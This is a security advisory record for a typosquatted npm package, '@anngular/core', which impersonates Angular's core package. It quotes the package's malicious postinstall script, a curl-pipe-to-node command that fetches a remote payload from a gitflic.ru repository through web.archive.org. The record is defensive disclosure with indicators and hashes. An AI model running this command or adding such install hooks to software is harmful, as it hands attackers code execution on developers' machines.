Malicious code in @anngular/core (npm)
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (93d2078e85dc301d6b0299c93ff5e0e5e2c717290e88f18de85fce6554f2d027) Package name @anngular/core (double-n) impersonates @angular/core, copying its description 'Angular - the core framework' and author 'angular'. package.json declares a postinstall lifecycle script: `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`. On `npm install`, this unconditionally fetches an unpinned JavaScript payload from a non-publisher gitflic.ru repository (proxied through web.archive.org to evade host-based filtering) and pipes it directly into node, giving the operator of that gitflic.ru project arbitrary code execution on the installer's machine. The payload is not shipped with the package, is not integrity-pinned, and can be mutated at any time by whoever controls the gitflic.ru project.
MAL-2026-17540
Primary source · Revision 1
Imported from structured advisory data. Source references identify upstream records or fields; verify affected versions and your deployed configuration.
Security context
Source reference: osv:MAL-2026-17540
@anngular/core
Source reference: /affected/0/package/name
- Affected versions
- 22.2.1
Source reference:
/affected/0/versions - Fixed versions
- Not stated in this record
- Prerequisites
- Not stated in this record
Structured affected-version data
Original package identities and version rules from this source.
[
{
"package": {
"name": "@anngular/core",
"purl": "pkg:npm/%40anngular/core",
"ecosystem": "npm"
},
"versions": [
"22.2.1"
],
"database_specific": {
"cwes": [
{
"name": "Embedded Malicious Code",
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature."
}
],
"source": "https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@anngular/core/MAL-2026-17540.json",
"indicators": {
"evidence_files": [
{
"path": "package.json",
"tlsh": "b9513724e4f48d6323df6254dd2a4943b138495b5c38bd68b3dd009c8f0e61f21beb9a",
"sha256": "72d94115b368cf5d89f4ccff42cdc4242c179ad180ba91974166399c747f5b21"
}
],
"package_integrity": [
{
"hashes": {
"sha1": "c19de0bbea0e677e03b2dc5950fa968bf3391a10",
"sha512_sri": "sha512-J4xcySzh+4IQ9lydzRFAAeWuAUxhA+GbjHqFXLJAjrWN0n8mVHNpW5ZdPLC5zgro6OKMPTWJvR2WwZjieOOE1g=="
},
"filename": "core-22.2.1.tgz"
}
]
}
}
}
]Publisher severity
No explicit severity was provided.
- Event
- #83601 · Revision 1
- Added to Heist Feed
- Publisher date